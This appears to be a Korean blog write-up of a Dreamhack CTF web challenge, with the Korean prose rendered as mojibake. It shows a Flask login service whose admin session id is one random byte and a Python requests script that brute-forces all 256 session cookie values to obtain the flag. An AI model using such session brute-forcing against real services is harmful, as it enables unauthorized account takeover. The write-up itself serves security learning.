https://dreamhack.io/wargame/challenges/266
๋ฒํ์ค์ํธ ์์ด ํ ๊ฑฐ๋ค
python๋ง ์์ผ๋ฉด ๋.
ํ์๋ ํ์ด์ฌ์ ์ค์นํ์ง ์์๊ธฐ ๋๋ฌธ์ Google Colab์ ์ด์ฉํ๋ค
VS Code, Replit ๋ฑ ํ์ด์ฌ ๋์๊ฐ๋ ํ๋ก๊ทธ๋จ ์๋ฌด๊ฑฐ๋ ์ฌ์ฉ ๊ฐ๋ฅํ๋ค
๋ฌธ์
์ฟ ํค์ ์ธ์
์ผ๋ก ์ธ์ฆ ์ํ๋ฅผ ๊ด๋ฆฌํ๋ ๊ฐ๋จํ ๋ก๊ทธ์ธ ์๋น์ค์
๋๋ค.
admin ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
์ทจ์ฝ์ ๋ถ์
๋ก๊ทธ์ธ ํ์ด์ง์์ username๊ณผ password๋ฅผ ์ด์ฉํ์ฌ ๋ก๊ทธ์ธํ๋ ์๋น์ค๋ค
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
๋ฌธ์ ํ์ผ์์ os.urandom(4).hex() ๋ผ๋ ๋ถ๋ถ์ด ์์์ฉ์ด์ ๊ฒ์ํด๋ณด๋
4๋ฐ์ดํธ์ ๋ฌด์์ ๊ฐ์ hex๋ก ๋ณํํ๋ค๋ ๋ป์ด๋ผ๊ณ ํ๋ค
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
๋ณธ ๋ฌธ์ ์์ ๋ก๊ทธ์ธ ๋ก์ง์ ๋ค์๊ณผ ๊ฐ๋ค
1. ๋ก๊ทธ์ธ ํ๋ฉด์์ ๋ก๊ทธ์ธ์ ํ๋ค
์์๋ก ์ฃผ์ด์ง ํ์ผ์ ๋์์๋ username: user, password: user1234๋ฅผ ์ด์ฉํด์ ์ค๋ช ํ๊ฒ ๋ค
2. ๋น๋ฒ์ด ๋ง์ผ๋ฉด ๋ฐฉ๊ธ ๋ก๊ทธ์ธํ ์ ์ ์ ์์ด๋๋ฅผ ์ํธํ(๋๋คํ)ํด์ session_storage์ ์ ์ฅํ๋ค
session_storage = {
"84058120": "user"
}
3. ๊ทธ๋ฆฌ๊ณ ์ฟ ํค์ ์๋ ํํ๋ก ์ ์ฅํ๊ณ ๋ฉ์ธ ํ๋ฉด์ผ๋ก ๋ฆฌ๋ค์ด๋ ์
cookie = {"sessionid" : "84058120"}
4. ๋ฉ์ธํ๋ฉด์์๋ ์ฟ ํค์ ์๋ sessionid ๊ฐ์ session_storage์์ ๋์กฐํ์ฌ ์ ์ ์ ๋ฐ๋ผ ๋ค๋ฅธ ํ๋ฉด์ ๋ณด์ฌ์ค๋ค
์ฌ๊ธฐ์๋ ์ฟ ํค์ ์๋ sessionid ๊ฐ์ด 84058120์ด๋ค
session_storage["84058120"] = "user" ์ด๋ค
"user" ๋ผ๋ ์์ด๋์ ๋ํ ๊ฒฐ๊ณผ ๊ฐ์ ๋ฐํํ๋ค
๋ฐ๋ผ์ ๋ฉ์ธํ๋ฉด์์ get ์์ฒญ์ ํ ๋ ์ฟ ํค๊ฐ์ admin์ ํด๋นํ๋ session_id๋ง ๋ฃ์ด์ฃผ๋ฉด
admin์ด ๋ก๊ทธ์ธ ํ์ ๋์ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ค๋ ๋ป
๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์๋ด์ง ์๊ณ sessionid ๋ง ์์๋ด๋ฉด ๋ก๊ทธ์ธ์ด ๋๋ ์ทจ์ฝํ ์์คํ ์ด๋ค
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
์ฝ๋ ๋ด๋ถ๋ฅผ ๋ณด๋ admin์ sessionid ๊ฐ์ ๋ฏธ๋ฆฌ ๋ง๋ค์ด์ ธ์
session_storage์ ์ด๋ฏธ ์ ์ฅ๋์ด์๋ค๊ณ ํ๋ค
๊ทธ๋ฆฌ๊ณ ์ด sessionid๋ urandom์ผ๋ก ์ ํด์ง๋ค
๋๋ค 1๋ฐ์ดํธ์ 16์ง์ ๊ฐ์ด๋ค
ํ์ด
1๋ฐ์ดํธ๋ผ๋ฉด 8๋นํธ๋ก 0~255์ ์ซ์๊ณ
์ด๋ฅผ 16์ง์๋ก ๋ณํํ๋ฉด 00, 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, ..., FE, FF ๊ฐ ๋๋ค.
๋ฒ์๊ฐ ์๊ธฐ ๋๋ฌธ์ ๋ถ๋ฅดํธํฌ์ค๋ก ๊ทธ๋ฅ ๋ค ๋ฃ์ด์ ํ์ธํด๋ ๋ ๊ฒ ๊ฐ๋ค
import requests, os
url="http://host3.dreamhack.games:21743/"
for i in range(256):
hex_value = format(i, "02x")
response = requests.get(url, cookies={'sessionid': hex_value})
print(f"{hex_value} : {len(response.text)}")
gpt์ ๋์์ ๋ฐ์ format() ํจ์๋ฅผ ์ด์ฉํด์ 0๋ถํฐ 255๊น์ง์ ์๋ฅผ 2์๋ฆฌ 16์ง์๋ก ๋ฐ๊ฟ์
- '0': ๋ณํ๋ ๋ฌธ์์ด์ด ์๋ฆฟ์๊ฐ ๋ถ์กฑํ ๋ ์์ 0์ผ๋ก ์ฑ์ฐ๋๋ก ์ง์ ํฉ๋๋ค.
- '2': ์ต์ ์๋ฆฟ์๋ฅผ 2์๋ฆฌ๋ก ์ง์ ํฉ๋๋ค.
- 'x': 16์ง์๋ก ํํํฉ๋๋ค.
get ์์ฒญ์ ๋ณด๋ผ ๋ ์ฟ ํค ์์ sessionid ๋ก ๋ฃ์ด์คฌ๋ค
์๋ต์ ์ ๋ถ ์ถ๋ ฅํ๋ฉด ๋งค์ฐ ๊ธธ์ด์ง ์์ ์ด๊ธฐ์ ๊ธธ์ด๋ง ์ถ๋ ฅํ๋๋ก ํ๋ค
์ผ๋ง ๊ฐ์ง ์์ ํผ์์ ์๋ต๊ธธ์ด๊ฐ 1350์ธ ์์์ฉ์ 0a๋ฅผ ๋ฐ๊ฒฌํ๋ค
import requests, os
url="http://host3.dreamhack.games:21743/"
response = requests.get(url, cookies={'sessionid': "0a"})
print(response.text)
์ฐพ์ "0a"๋ฅผ ์ฟ ํค์ ๋ฃ์ด์ ์ด๋ฒ์๋ ์ ์ฒด ์๋ต์ ๋ฝ์๋๋ค
admin์ผ๋ก ์ธ์ํด์ ์๋ต์ ํฌํจ์์ผ์ค ํ๋๊ทธ๋ฅผ ํ์ธ ๊ฐ๋ฅํ๋ค
'๐ Cyber Security > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack] ๋๋ฆผํต ์นํดํน php-1 (1) | 2023.11.02 |
---|---|
[Dreamhack] ๋๋ฆผํต ์นํดํน : proxy-1 (1) | 2023.10.16 |
[DreamHack] ๋๋ฆผํต ์นํดํน : pathtraversal (0) | 2023.08.14 |
[DreamHack] ๋๋ฆผํต ์นํดํน : ๐ฑ simple-web-request (0) | 2023.08.14 |
[DreamHack] ๋๋ฆผํต ์นํดํน : blind-command (0) | 2023.07.31 |